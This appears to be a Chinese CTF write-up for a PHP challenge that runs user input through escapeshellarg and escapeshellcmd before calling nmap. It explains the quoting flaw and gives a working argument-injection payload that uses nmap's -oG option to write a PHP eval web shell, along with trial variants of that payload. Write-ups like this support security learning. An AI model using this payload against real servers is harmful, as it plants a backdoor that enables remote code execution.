标签:问题 返回 dir 返回结果 sandbox manual time 进入 map
进入页面
贴出源码
1 <?php 2 3 if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR‘])) { 4 $_SERVER[‘REMOTE_ADDR‘] = $_SERVER[‘HTTP_X_FORWARDED_FOR‘]; 5 } 6 7 if(!isset($_GET[‘host‘])) { 8 highlight_file(__FILE__); 9 } 10 11 else { 12 $host = $_GET[‘host‘]; 13 $host = escapeshellarg($host); 14 $host = escapeshellcmd($host); 15 $sandbox = md5("glzjin". $_SERVER[‘REMOTE_ADDR‘]); 16 echo ‘you are in sandbox ‘.$sandbox; 17 @mkdir($sandbox); 18 chdir($sandbox); 19 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); 20 } 21 22
大概意思就是
传入参数host
经过escapeshellarg和escapeshellcmd函数的过滤
执行nmap的命令
问题肯定出在那两个函数上
参考链接:
https://www.php.net/manual/zh/function.escapeshellarg.php
https://www.php.net/manual/zh/function.escapeshellcmd.php
看了这两个函数,还是没什么头绪
看到一篇文章https://paper.seebug.org/164/
我们详细分析一下:
传入的参数是:172.17.0.2‘ -v -d a=1
经过escapeshellarg处理后变成了‘172.17.0.2‘\‘‘ -v -d a=1‘,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成‘172.17.0.2‘\\‘‘ -v -d a=1\‘,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl ‘172.17.0.2‘\\‘‘ -v -d a=1\‘,由于中间的\\被解释为\而不再是转义字符,所以后面的‘没有被转义,与再后面的‘配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1‘,即向172.17.0.2\发起请求,POST 数据为a=1‘。
但这怎么利用呢,还是一头雾水
从nmap入手
看了大佬文章
nmap有一个 -oG 参数,可以把命令和执行结果写入一个文件
构造payload:
?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php ‘
菜刀连接
找到flag即可
贴一个大佬的试错,关于加不加最后的单引号或加不加 单引号前的空格做了结果展示
首先是后面没有加引号
?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php
1
我们可以在线测试一下
‘‘\\‘‘ \<\?php phpinfo\(\)\;\?\> -oG test.php\‘
1
返回结果是上面那样文件名后面会多一个引号
然后是加引号但引号前没有空格
?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php‘
1
运行结果如下
‘‘\\‘‘ \<\?php phpinfo\(\)\;\?\> -oG test.php‘\\‘‘‘
1
文件名后面就会多出\\
所以要注意细节
标签:问题 返回 dir 返回结果 sandbox manual time 进入 map
原文地址:https://www.cnblogs.com/Chr1sto/p/12297530.html